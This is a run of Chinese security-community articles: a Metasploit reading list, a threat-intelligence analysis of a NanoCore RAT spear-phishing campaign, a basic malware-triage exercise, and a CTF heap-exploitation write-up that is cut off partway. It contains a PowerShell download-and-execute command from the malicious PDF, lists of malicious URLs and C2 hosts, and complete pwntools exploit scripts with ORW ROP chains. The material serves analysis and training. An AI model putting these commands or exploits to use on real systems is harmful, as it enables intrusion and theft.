## Refference
* 《Metasploit渗透测试魔鬼训练营》
* [msfconsole-commands](https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/)
* [Alternative methods of becoming SYSTEM](https://blog.xpnsec.com/becoming-system/)
* [Multiple Ways to Bypass UAC using Metasploit](https://www.hackingarticles.in/multiple-ways-to-bypass-uac-using-metasploit/)
* [Exploring Mimikatz – Part 1 – WDigest](https://blog.xpnsec.com/exploring-mimikatz-part-1/)
* [List of Metasploit Commands – Cheatsheet](https://thehacktoday.com/metasploit-commands/)
* [msfvenom](https://www.offensive-security.com/metasploit-unleashed/msfvenom/)
* [metasploit-unleashed](https://www.offensive-security.com/metasploit-unleashed/) | 社区文章 |
# 360天眼实验室：某个商业定向攻击活动分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**概述**
人在做,天在看。
近期360天眼实验室监测到一些可疑电子邮件样本,内容虽然都是通常的采购订单、索要发票为主的通常社工套路,但投递的对象主要为欧洲的一些商业公司。邮件包含一些文档类型的附件(DOC、Excel、PDF等),受害者尝试打开浏览时会提示不能正常显示信息,需要启用宏才可以。当手工点击启用导致恶意宏代码得到执行以后,样本将释放或者下载下一步的恶意代码并执行,以此控制受害者的计算机并窃取敏感信息。从投递的目标和所窃取的信息来看,我们认为这是一类针对欧洲特定从业人员的商业定向攻击行为。
**样本分析**
一开始引起注意的邮件MD5:2040e6c0705c5b78d615c827f4a9ccbf
其内容如下:
邮件带了一个PDF文件,对应的MD5为:ab3a27dd7bbee2f7a477dac5efe9655c
PDF文件包含OpenAction指令,打开文件时将会启动powershell,由powershell下载并执行hxxp://www[.]winprop.com.sg/zxml/check/july1.exe
代码明文如下:
PowerShell -ExecutionPolicy Bypass -command
(New-Object
System.Net.WebClient).DownloadFile('hxxp://www[.]winprop.com.sg/zxml/check/july1.exe',”$env:APPDATAsyshelper.exe”);
Invoke-Item (”$env:APPDATAsyshelper.exe”)
---
将PE样本下载下来,发现是一个.NET程序,将其脱壳后确认是NanoCoreRAT,一种商业间谍软件,支持多种功能和插件,主要被用于窃取感染用户的敏感信息、密码等,另外有多种功能和插件,下面用我们关联到的其中一个样本做简单的分析:
样本SHA256:ffa42109954d7b79afc862a2a7ec828afe3b9c008731c7c7d175a41b1bb9332c
NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(NewLateBingding.LateGet(AppDomain.CurrentDomain,null,”Load”,new object[]{},null,null,null)) ,null , “CreateInstance” , new object[] {“IE.IE”} , null , array2 , null )
这段代码相当于
AppDomain.CurrentDomain.Load.CreateInstance(“IE.IE”);
其中IE是在Class3.smethod_2中解密的PE,通过反射调用其IE()方法
获取资源中的数据解密,密钥为“Ykfgiozwzxl”,然后再解压一次,得到另一个PE文件:
对比global::IE.IE.injection的字符串,根据这个字符串来将解密出来的PE注入到对应的进程中(svchost、regasm、self),然后启动对应的进程并注入:
接着将自身拷贝到%appdata%Roaming[RandomStr][RandomStr2].exe(appdata在IE.path字段被指定),通过WScript.Shell.CreateShortcut.Save()生成快捷方式到%appdata%RoamingMicrosofWindowsStart
MenuProgramsStartup目录,实现自启动。
说回前面提到的被注入的PE,这个被注入的PE其实是NanoCore真正的核心程序,其先将资源中的Data.bin解密,里面记载了NanoCore的配置信息,创建%appdata%Roaming[MachineGuid]文件夹,将当前的(协调世界时)时间写入run.dat并保存在这个目录中后,将配置信息放入一个字典中用来检索对应的配置,根据这些信息来执行对应的操作,包括设置自启动、bypassUAC、设置访问权限、加载插件等等。样本中加载的插件为SurveillanceExClientPlugin.dll,该插件的主要功能是下载、发送log日志、键盘监控、应用程序监控、窃取密码信息等;完成这些操作后,开始连接到C&C服务器,上传用户信息和接收下一步的指令,这里样本中包含的C&C地址为frankief.hopto.me
:
下面是NanoCore的配置信息和说明:
KeyWord
|
Description
---|---
KeyboardLogging
|
键盘记录
BuildTime
|
NanoCore构建时间
Version
|
NanoCore样本
Mutex
|
样本所创建的互斥体
DefaultGroup
|
–
PrimaryConnectionHost
|
首先连接的C&C地址
BackupConnectionHost
|
备用的C&C地址
ConnectionPort
|
端口
RunOnStartup
|
是否有开机自启动功能
RequestElevation
|
是否需要更新
BypassUserAccountControl
|
是否有bypassUAC的功能
ClearZoneIdentifier
|
是否清除文件ZoneIdentifier标识
ClearAccessControl
|
是否清除访问控制
SetCriticalProcess
|
–
PreventSystemSleep
|
是否开启防睡眠模式
ActivateAwayMode
|
是否总处于活跃模式
EnableDebugMode
|
是否开启调试模式
RunDelay
|
运行后延迟开始活动的时间
UseCustomDnsServer
|
使用指定的DNS服务器
PrimaryDnsServer
|
首先尝试使用的DNS地址
BackupDnsServer
|
备用的DNS地址
**关联分析**
根据360威胁情报中心的数据,我们关联到一批相关的样本。分析显示攻击者主要使用的RAT有NanoCore、HawkEye和jRAT,活跃时间从2015年1月一直到现在。攻击方式主要通过鱼叉邮件:
MD5 254fcc596d0979da69281b8d6a39cd2d
下表给出了部分附件的文件名、伪装的公司信息和文件HASH信息,可以看到这些附件的文件名均和订单、报价等有关,结合邮件收件人信息和邮件内容,不难发现这些攻击的目标均为欧洲地区的销售、财务等从业人员。
文件名
|
伪装的公司
|
文件HASH
---|---|---
Invoice and BDN.doc
|
HP
|
fcc91d65e7dcd4582e3508fa80a388ac
2015-937HK.doc
|
HP
|
e953e6b3be506c5b8ca80fbcd79c065e
bunker order.doc
|
–
|
9fc3cc3879668bd162832e13472aa339
enquiry.doc
|
HP
|
d2f0748aa97c1e71b753045174851c2a
IFO – 1500 MTS Bunker Stem Inquiry1.doc
|
HP
|
68099b5ec6005c3ccf108826ada45139
bunker inquiry.doc
|
–
|
66c516c92f0fbee26fa5c79f4b5af467
NEW ACCORD V1511 AMPOL.doc
|
–
|
1b07478171a9268377d4d20b3f73031c
stem inquiry.doc
|
HP
|
1bcd4e67d23efa985ead8f406fb1d0da
附件所连接的下载第二步恶意代码网址如下。这些都是合法的站点,幕后攻击者将这些站点攻陷后用于恶意代码的分发。这种攻击方式一方面能使防火墙认为这是合法的网站访问而保证下载成功,另一方面也方便攻击者隐藏自己的信息。
hxxp://www[.]winprop.com.sg/zxml/check/july1.exe;
hxxp://www[.]trilighttech.com/mm/kl/march.exe
hxxp://huakee[.]com.sg/uploads/anna.exe
hxxp://www[.]royalcosmo.com/404/crypted.exe
hxxp://commonwealthenergygroup[.]com/upload/add/scan.exe
hxxp://harborexpressservices[.]com/xml/load/feb.exe
hxxp://agrotechseeds[.]com/tmp/js/netbes.exe
hxxp://marina-group[.]com/util/mmm3.exe
---
**结论**
以各种文档搭配宏进行恶意代码传播的方式目前极为流行(这回案例的样本载体是PDF文件),虽然默认情况下需要用户交互恶意代码才有执行的机会,但有合适的社会工程学技巧配合下让用户确认并不像想象那么困难,利用Powershell绕过普通病毒查杀也已经是常规的做法。
本文涉及的案例看起来是个精心策划并有一定资源支持的定向攻击的商业间谍活动,值得我们做持续地跟踪分析。
**IOC**
C&C:
frankief[.]hopto.me
---
样本MD5:
e003fa7512d1f1c9fe770f26698d8bf9
0a75ddc77ce77e71203c4cab42bdc4d4
f0440a138420b795b3b47fb3383065f8
93b5d9e2e5b9e83098490afd386dc706
66c516c92f0fbee26fa5c79f4b5af467
af7d4bdfcf34d1a8c30b5ae190075a92
a155431fbb9936cd90a6bdebb155c47e
db616129fa1437e2ea48bafcca6961c3
93b5d9e2e5b9e83098490afd386dc706
e003fa7512d1f1c9fe770f26698d8bf9
56f57abbef6b1660a002b89edbb53b6a
9fc3cc3879668bd162832e13472aa339
c0a207529a45609a2d6f163cacf9c01f
bddf87cec8bc45369359cb6f5ac57bd2
a3eddf3532deeabddd7b597a88b50f78
4f6d806d028ba5a15c38f5fe82efcefb
5247fe1331cea8c12dd1f9fc0077f0c0
68099b5ec6005c3ccf108826ada45139
5247fe1331cea8c12dd1f9fc0077f0c0
4e1ed4eaac477b7081780f0da5577455
14aab6205ca208df5c9b7c5ad823eea0
e953e6b3be506c5b8ca80fbcd79c065e
a5c8b5296d419c2020cf6287b34523aa
de65da953f32be0d60181a59ea75f9e1
af7d4bdfcf34d1a8c30b5ae190075a92
aed9065c55ba96e377f8e4eab6ee9c2f
028233447e5ae78256462ed0e30928d9
45609c6b498c5f51680d6ebd384f277e
9fc3cc3879668bd162832e13472aa339
56f57abbef6b1660a002b89edbb53b6a
7731c10ae6fdac57e415e6f08fcf1da4
61c6baeea60827387a92e56e732a0033
0a75ddc77ce77e71203c4cab42bdc4d4
49e984ac6f89399463d8d9ed72a134a0
2b23a081c1a0574875be9f10325cc9de
a75f762848e483ece540875132749364
f87f7414c40aef8122da7642caceed5d
f9aebfce494cb5ae1679e1f9ac9652e9
d1a1a635d701be62d43e7c44c132eba8
f35204915836c431e4119a9a37f7b6d3
21194b8a07fc3a8d0a11b83087614ee3
5a3a7c2af80fc7997c8638d72835b7a2
849201701103617187f1e44858d8ce99
2406ef01503d019cf14d3a0d0f37cba4
ea1ca1b2b85f61fdb3336976f59df8ce
9fb319eb714d6aa47a06620873000f7a
6303cac85c1bcc249c9922dd7f5cde24
c4b337f9b0fbbcaf697137923ab756a2
8f292354628de2becf7d566e651f7bfb
66c516c92f0fbee26fa5c79f4b5af467
d01a7075ab9131aea4cf0719a8b8f40e
d2f0748aa97c1e71b753045174851c2a
3d09568536df4cd8f9bd55b85c6becda
d383a7795fc8ae3fff7bfb7109bbd0ab
777dde0a861c251b94c289057173a030
5a7e1fcacd7fd30ce14f6d53c0938e82
40d8453f3688b80f72415d8ac4089ad5
bb527ccfd3d9911991423851ca60072f
1c62cd4b4e8184c56b5a2d953c7ced03
2b32addc51b3f08a83063ded98846568
f6eac13843344fc0662e267d0763a720
1b07478171a9268377d4d20b3f73031c
82223804e4beab5e634c2782ec15ea81
b195d9469802ab12d025d14e767a621a
bbb911d69d317c9403b0616138010d6a
f0440a138420b795b3b47fb3383065f8
507739e7a11dc42d2c46187f7bd61a53
bddf87cec8bc45369359cb6f5ac57bd2
0bc8071c4c8ef9a9428f1f7aab153342
3f373286073b39d9af21f4bc115b791d
d64323258dc7fdb0f8b24c397afb3301
480d90b4736f91f21e4b412256a0c14d
3f03a029be2eae9bb96a90e61229c0fe
07fdf778f159266f624d2c09efd859a7
9ddc3f34d9fd38f8bd0027cdf7f61eeb
10c4c2c78a999f230e9827561822a896
1bcd4e67d23efa985ead8f406fb1d0da
8bb97ce79b6a8b9688871df9a076882a
9062791e4c79abc7eea891ff14453829
6d983e3ea6449a4e768fde2e417cbbf2
f1b115c24aab7a8bd03f52f05d7495c2
55700d86c99c535cc97bd301b376f17c
d1e2c2454f1061c4bc839b2461a0243d
--- | 社区文章 |
# 目标
1.样本鉴定黑白
2.样本行为粗略判断
3.相关信息收集
# 原理
## 鉴黑白
### 特征码检测
**检测已知病毒** ：通常杀毒软件将分析过的病毒中的特征部分提取成相应特征码（文件特征、字符特征、指令特征等）
### 启发检测
**检测未知病毒** ：检测病毒运行过程中的API调用行为链。
## 相关信息收集
* 编译时间：可以判断样本的出现的时间
* 文件类型：哪类文件，命令行或者界面或者其他
* 是否有网络行为
* 是否有关联文件
* 壳情况
## 初步型为判断
### 特征API
不同种类的病毒样本根据其特性总会调用一些特定的API函数
# 算法流程
根据常用逆向工具来实现上述原理的检测
## 鉴黑白
1. 文件特征检测
* [VirusTotal](https://www.virustotal.com/)检测，可以看到是否已经有厂商对其惊醒了黑白判断(SHA-1搜索即可)
* 文件SHA-1/MD5 Google扫描，看是已有相关检测报告
2. 字符特征检测
* strings/pestdio工具打印字符串。根据一些特征字符串Google搜索，如ip地址、敏感词句、API符号等
3. 加壳/混淆判断
* PEID/DIE工具查看文件是否加壳
* strings判断。如果字符串数量稀少、存在LoadLibray少量API符号，可以对其留意
4. 链接检测
* 运行时链接检测。恶意样本通常采用LoadLibray来运行是链接
## 信息收集
收集样本相关信息，如果要详细分析，会用到
1. PEStudio查看文件头的时间戳
2. PEStudio查看文件头的文件类型
3. DIE/PEID查壳情况或者string表和api的一些特征
## 样本初步行为判断
pestdio查看导入表的API调用和一些字符串信息，来进行判断
# 实践过程
样本：Lab01-02.exe
## 鉴黑白
46/68的检出率，确定为病毒。
并且根据检测结果有可能是下载者
## 信息收集
* 时间戳
老样本了
Thu Jan 20 00:10:41 2011
* 文件类型
32位命令行型可执行文件
* 壳信息
导入函数很少，有LoadLibray函数，而主机感染类函数和网络感染函数，应该是加壳了
字符串中出现经典壳UPX的字样，并且一般这个壳都会有自己独特的段，确认进行了UPX加壳
既然是UPX，那么就可以直接用网上的脱壳器直接脱壳得到原始EXE文件，然后直接进入行为的初步判断
## 样本初步行为判断
* 主机行为
有创建服务的API，字符串种有铭感字段`MalService`，可能是服务名称，可能主要做一些长期驻留的目的
* 网络行为
选中区域很明显的网络访问请求，接着下面字符串信息可以知道可能对<http://www.malwareanalysisbook.com链接有访问请求>
# 小结
分析流程做了调整，鉴定黑板完成后，如果是黑样本，做简单分析的话，先做信息收集，然后根据信息对样本有个大致概念，后简单分析前的准备，接着开始简单分析。
这个样本主要进行了加壳隐藏，可能会有创建服务来进行长期的网络访问活动或其他的，具体可能会对<http://www.malwareanalysisbook.com进行访问，具体情况需要后面分析> | 社区文章 |
# 第二届网鼎杯半决赛pwn-orwheap多种解法分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
时隔两年又一次进入网鼎杯决赛阶段，这次抱了三个大腿，比上次名次提高了一点，不过仍然不足以拿奖，残念。半决赛中，其中一题使用libc2.31，当时断网查不到一些关键资料，导致一直在libc2.31的特性上钻牛角尖没做出来。新年后抽出一点时间对这个题目重新进行分析，发现了这个题目可以用三个不同的漏洞进行解题。
## 题目分析
[*] '/home/kira/pwn/wdb/orwheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
题目环境为libc2.31，对应Ubuntu版本为20.04，保护开得不多，主要开了canary及NX。
同时题目开seccomp，限制了系统调用，读取flag只能用orw的方式。其中过滤了open，可以用openat代替。
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x02 0x01 0x40000000 if (A >= 0x40000000) goto 0006 else goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 4294967295) goto 0008
0005: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0008
0006: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
题目是经典的菜单题，有add，free，edit，show功能。
1:add
2:free
3:edit
4:exit
5:show
Your Choice:
先看add函数，这里存在一个漏洞，read的时候输入长度为`size-1`，假如我们输入的size是0，那么就可以进行无限制长度的堆溢出。还有一个需要注意的地方是，函数使用了`calloc`申请内存，这个函数不会取tcache，导致这题不能使用tcache。
__int64 __usercall add@<rax>(__int64 a1@<rbp>)
{
__int64 result; // rax
unsigned int size; // [rsp-18h] [rbp-18h]
unsigned int idx; // [rsp-14h] [rbp-14h]
__int64 v4; // [rsp-10h] [rbp-10h]
__int64 v5; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v5 = a1;
printf_("index>> ");
idx = get_int((__int64)&v5);
if ( idx <= 19 )
{
if ( qword_4040E8[2 * idx] )
{
puts_("index is uesed");
result = 0LL;
}
else
{
printf_("size>> ");
size = get_int((__int64)&v5);
v4 = calloc_((char *)1, (char *)size);
if ( !v4 )
exit_(0xFFFFFFFFLL, size);
qword_4040E8[2 * idx] = v4;
*((_DWORD *)&unk_4040E0 + 4 * idx) = size;
printf_("name>> ");
read_(0LL, v4, size - 1); // size - 1 = 超大数
result = 0LL;
}
...
}
delete函数free后没有清空指针，存在UAF。同时在bss段`dword_404080`作为计数器，限制只能delete两次。
__int64 __usercall delete@<rax>(__int64 a1@<rbp>)
{
unsigned int v2; // [rsp-Ch] [rbp-Ch]
__int64 v3; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v3 = a1;
printf_("index>> ");
v2 = get_int((__int64)&v3);
if ( qword_4040E8[2 * v2] && dword_404080 )
{
free_((char *)qword_4040E8[2 * v2]);
--dword_404080;
}
return 0LL;
}
edit函数中，没有检查输入index的范围，存在数组越界，注意index只有4字节。
__int64 __usercall edit@<rax>(__int64 a1@<rbp>)
{
unsigned int v1; // eax
__int64 result; // rax
unsigned int v3; // [rsp-Ch] [rbp-Ch]
__int64 v4; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v4 = a1;
printf_("index>> ");
v1 = get_int((__int64)&v4);
v3 = v1;
result = qword_4040E8[2 * v1];
if ( result )
{
printf_("name>> ");
result = read_(0LL, qword_4040E8[2 * v3], *((signed int *)&unk_4040E0 + 4 * v3));
}
return result;
}
show函数同样存在数组越界问题。
__int64 __usercall show@<rax>(__int64 a1@<rbp>)
{
__int64 result; // rax
unsigned int v2; // [rsp-Ch] [rbp-Ch]
__int64 v3; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v3 = a1;
printf_("index>> ");
v2 = get_int((__int64)&v3);
if ( qword_4040E8[2 * v2] )
result = puts_(qword_4040E8[2 * v2]);
else
result = puts_("idx error");
return result;
}
UAF，堆溢出和数组越界都能单独进行解题，下面一一分析。
## 解法一：largebin attack
largebin attack
可以向指定地址写一个大数，那么可以利用这个特性向`dword_404080`写入一个大数，以此解除delete两次的限制。largebin attack
需要泄露libc地址以及heap地址，并可以覆盖bk_nextsize字段，题目有UAF漏洞，所有条件都可以满足。
需要注意的是，题目使用了libc2.31，加入了对largebin的保护，导致以前的largebin attack攻击手法无法使用。
libc2.31绕过方式可以参考how2heap
，见：<https://github.com/shellphish/how2heap/blob/master/glibc_2.31/large_bin_attack.c>
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
/*
A revisit to large bin attack for after glibc2.30
Relevant code snippet :
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
*/
int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n");
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
printf("Check 1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("Check 2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("This prevents the traditional large bin attack\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
printf("====================================================================\n\n");
size_t target = 0;
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
size_t *p1 = malloc(0x428);
printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
size_t *g1 = malloc(0x18);
printf("And another chunk to prevent consolidate\n");
printf("\n");
size_t *p2 = malloc(0x418);
printf("We also allocate a second large chunk [p2] (%p).\n",p2-2);
printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
size_t *g2 = malloc(0x18);
printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
free(p1);
printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
size_t *g3 = malloc(0x438);
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
printf("\n");
free(p2);
printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);
printf("\n");
p1[3] = (size_t)((&target)-4);
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438);
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
printf(" the modified p1->bk_nextsize does not trigger any error\n");
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
printf("Target (%p) : %p\n",&target,(size_t*)target);
printf("\n");
printf("====================================================================\n\n");
assert((size_t)(p2-2) == target);
return 0;
}
根据how2heap的例子，本题可以构造如下：
# largebin attack
add(0, 0x428, '0') # p1
add(1, 0x68, '1' * 8) # g1
add(2, 0x418, '2' * 8) # p2
add(3, 0x18, '3' * 8) # g2
delete(0) # p1
add(4, 0x438, '4' * 8) # g3
delete(2) # p2
edit(0, flat(0, 0, 0, 0x404080 - 0x20)) # p1->bk_nextsize
add(5, 0x438, '5' * 8) # g4
运行调试结果，可以看到`dword_404080`中写入了一个堆地址。
解除delete限制后即可进行double free等操作。如果本题申请内存用的malloc，直接tcache
dup即可。不过这题使用的calloc，不会取tcache，那么可以考虑用fastbin attack劫持malloc_hook。
由于题目限制了系统调用，需要使用orw的方式读取flag，现在需要思考如何劫持程序流执行rop。通过请教大佬，学到了一个不错的技巧。在程序中，可以找到以下一个gadget。
.text:00000000004013BA xchg rsp, rdi
.text:00000000004013BD nop
.text:00000000004013BE pop rbp
.text:00000000004013BF retn
rdi为函数调用的第一个参数，而malloc调用的第一个参数为size，本题没有限制size大小。那么只要我们输入size为rop的地址，并且malloc_hook修改为这个gadget，那么经过xchg后，即可劫持程序流到rop上。
泄露libc地址后，可以轻松构造rop，参考rop如下：
rop = flat(
# openat(0,'/flag',0,0)
libc.address + 0x000000000004a550, # pop rax; ret;
0x101,
libc.address + 0x0000000000026b72, # pop rdi; ret;
0,
libc.address + 0x0000000000027529, # pop rsi; ret;
heap + 0x6b8,
libc.address + 0x000000000011c371, # pop rdx; pop r12; ret;
0,
0,
libc.address + 0x0000000000066229, # syscall; ret;
# read(3,buf,0x100)
libc.address + 0x000000000004a550, # pop rax; ret;
0,
libc.address + 0x0000000000026b72, # pop rdi; ret;
3,
libc.address + 0x0000000000027529, # pop rsi; ret;
heap,
libc.address + 0x000000000011c371, # pop rdx; pop r12; ret;
0x100,
0,
libc.address + 0x0000000000066229, # syscall; ret;
# write(1,buf,0x100)
libc.address + 0x000000000004a550, # pop rax; ret;
1,
libc.address + 0x0000000000026b72, # pop rdi; ret;
1,
libc.address + 0x0000000000027529, # pop rsi; ret;
heap,
libc.address + 0x000000000011c371, # pop rdx; pop r12; ret;
0x100,
0,
libc.address + 0x0000000000066229, # syscall; ret;
)
rop可以放在heap上。
总结一下思路：
* 参照how2heap的例子进行largebin attack，把计算free剩余次数改大。
* 利用UAF泄露地址
* 填满tcache后，使用0x70大小的fastbin attack劫持malloc_hook
* 把rop写到heap上，然后修改malloc_hook为xchg rdi, rsp
* malloc时size输入rop的地址，即可劫持程序流到rop上，进行orw
完整exp：
from pwn import *
target = 'orwheap'
context.binary = './'+target
p = process('./'+target)
libc = elf.libc
def add(idx, size, name):
p.sendlineafter("Choice:\n", "1")
p.sendlineafter("index>> ", str(idx))
p.sendlineafter("size>> ", str(size))
p.sendafter("name>> ", name)
def delete(idx):
p.sendlineafter("Choice:\n", "2")
p.sendlineafter("index>> ", str(idx))
def edit(idx, name):
p.sendlineafter("Choice:\n", "3")
p.sendlineafter("index>> ", str(idx))
p.sendafter("name>> ", name)
def show(idx):
p.sendlineafter("Choice:\n", "5")
p.sendlineafter("index>> ", str(idx))
# largebin attack
add(0, 0x428, '0') # p1
add(1, 0x68, '1' * 8) # g1
add(11, 0x68, '1' * 8)
add(12, 0x68, '1' * 8)
add(13, 0x68, '1' * 8)
add(14, 0x68, '1' * 8)
add(15, 0x68, '1' * 8)
add(16, 0x68, '1' * 8)
add(17, 0x68, '1' * 8)
add(2, 0x418, '2' * 8) # p2
add(3, 0x18, '3' * 8) # g2
delete(0) # p1
add(4, 0x438, '4' * 8) # g3
delete(2) # p2
edit(0, flat(0, 0, 0, 0x404080 - 0x20))
add(5, 0x438, '5' * 8) # g4
# leak libc address
add(6, 0x500, '6' * 8)
add(7, 0x500, '7' * 8)
delete(6)
show(6)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 96 - 0x10
success(hex(libc.address))
# tcache
delete(1)
delete(11)
delete(12)
delete(13)
delete(14)
delete(15)
delete(16)
# fastbin
delete(17)
show(0)
heap = u64(p.recvuntil('\n', drop=True).ljust(8,'\x00')) - 0xa40
success(hex(heap))
rop = flat(
# openat(0,'/flag',0,0)
libc.address + 0x000000000004a550, # pop rax; ret;
0x101,
libc.address + 0x0000000000026b72, # pop rdi; ret;
0,
libc.address + 0x0000000000027529, # pop rsi; ret;
heap + 0x6b8,
libc.address + 0x000000000011c371, # pop rdx; pop r12; ret;
0,
0,
libc.address + 0x0000000000066229, # syscall; ret;
# read(3,buf,0x100)
libc.address + 0x000000000004a550, # pop rax; ret;
0,
libc.address + 0x0000000000026b72, # pop rdi; ret;
3,
libc.address + 0x0000000000027529, # pop rsi; ret;
heap,
libc.address + 0x000000000011c371, # pop rdx; pop r12; ret;
0x100,
0,
libc.address + 0x0000000000066229, # syscall; ret;
# write(1,buf,0x100)
libc.address + 0x000000000004a550, # pop rax; ret;
1,
libc.address + 0x0000000000026b72, # pop rdi; ret;
1,
libc.address + 0x0000000000027529, # pop rsi; ret;
heap,
libc.address + 0x000000000011c371, # pop rdx; pop r12; ret;
0x100,
0,
libc.address + 0x0000000000066229, # syscall; ret;
)
rop = rop.ljust(0x418, "\x00")
rop += "/etc/passwd\x00"
edit(0, rop)
# fastbin attack
edit(17, flat(libc.sym['__malloc_hook'] - 0x23 - 0x10))
add(8, 0x68, '0')
add(9, 0x68, flat('\x00' * 35, 0x00000000004013ba))# xchg rdi, rsp; nop; pop rbp; ret;))
p.sendlineafter("Choice:\n", "1")
p.sendlineafter("index>> ", str(18))
p.sendlineafter("size>> ", str(heap + 0x2a0 - 8))
p.interactive()
## 解法二：数组越界
数组越界的解法相对简单，虽然edit中index只有4字节长度，但已经足够越界到heap上。
由于程序没有开启PIE，那么可以直接在heap上构造`p64(size)+p64(got_addr)`这个结构，然后越界即可泄露libc地址。
偏移index可以通过 `（目标地址 - list地址） 整除 16` 进行计算。
(target-list_addr)//16
泄露heap地址可以通过仅有的两次delete机会，填入两个tcache构成一个单链，利用UAF直接打印heap地址。
泄露libc地址后，可以用上面劫持malloc_hook的方法。这里我换一个方法，通过数组越界任意地址读，读取environ泄露stack地址。然后用数组越界任意地址写，修改ret进行rop。rop可以继续用上面用过的。
理论上，这题是完全可以不使用UAF这个漏洞，不过下面EXP为了方便还是直接使用UAF进行修改已free的chunk。直接使用add或者edit未free的chunk不影响此漏洞使用。
完整exp：
list_addr = 0x4040E0
add(0,0x68,'0')
add(1,0x68,'1')
delete(1)
delete(0)
# leak heap address
show(0)
heap = u64(p.recvuntil('\n', drop=True).ljust(8,'\x00')) - 0x310
success(hex(heap))
# leak libc address
edit(0, flat(8,elf.got['printf']))
show((heap+0x2a0-list_addr)//16)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['printf']
success(hex(libc.address))
# leak stack address
edit(0,flat(8,libc.sym['environ']))
show((heap+0x2a0-list_addr)//16)
ret_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x120
edit(0,flat(0x400,ret_addr)+'/etc/passwd\x00')
rop = flat(
# openat(0,'/flag',0,0)
libc.address + 0x000000000004a550, # pop rax; ret;
0x101,
libc.address + 0x0000000000026b72, # pop rdi; ret;
0,
libc.address + 0x0000000000027529, # pop rsi; ret;
heap + 0x2b0,
libc.address + 0x000000000011c371, # pop rdx; pop r12; ret;
0,
0,
libc.address + 0x0000000000066229, # syscall; ret;
# read(3,buf,0x100)
libc.address + 0x000000000004a550, # pop rax; ret;
0,
libc.address + 0x0000000000026b72, # pop rdi; ret;
3,
libc.address + 0x0000000000027529, # pop rsi; ret;
heap,
libc.address + 0x000000000011c371, # pop rdx; pop r12; ret;
0x100,
0,
libc.address + 0x0000000000066229, # syscall; ret;
# write(1,buf,0x100)
libc.address + 0x000000000004a550, # pop rax; ret;
1,
libc.address + 0x0000000000026b72, # pop rdi; ret;
1,
libc.address + 0x0000000000027529, # pop rsi; ret;
heap,
libc.address + 0x000000000011c371, # pop rdx; pop r12; ret;
0x100,
0,
libc.address + 0x0000000000066229, # syscall; ret;
)
edit((heap+0x2a0-list_addr)//16,rop)
p.interactive()
此方法最为简单，而且不受libc2.31的影响。
## 解法三：Unlink
最后一种方法为unlink，libc2.31下unlink方法构造跟之前的版本差别不大。关键点仍是溢出修改chunk的size位最低。以及构造一个绕过double
linked检查的fake chunk。
构造fake chunk有几点需要注意：
1. 由于2.31有tcache，构造unsorted bin时要申请大于0x408的chunk。
2. calloc(0)会申请0x20大小的空间，由于calloc不会取tcache，因此需要从unsorted bin分配空间，才能向下覆盖下一个chunk的size。
3. 触发unlink时，last remainder要为空，不然在__int_free时会出现报错。因此这里我通过先申请一块chunk，让last remainder剩下0x20，然后calloc(0)时把last remainder用完。
具体构造代码如下：
chunk0 = 0x4040E8
add(0,0x428,'0')
add(1,0x428,'1')
add(2,0x18,'2')
delete(0)
payload = flat( 0, 0x421,
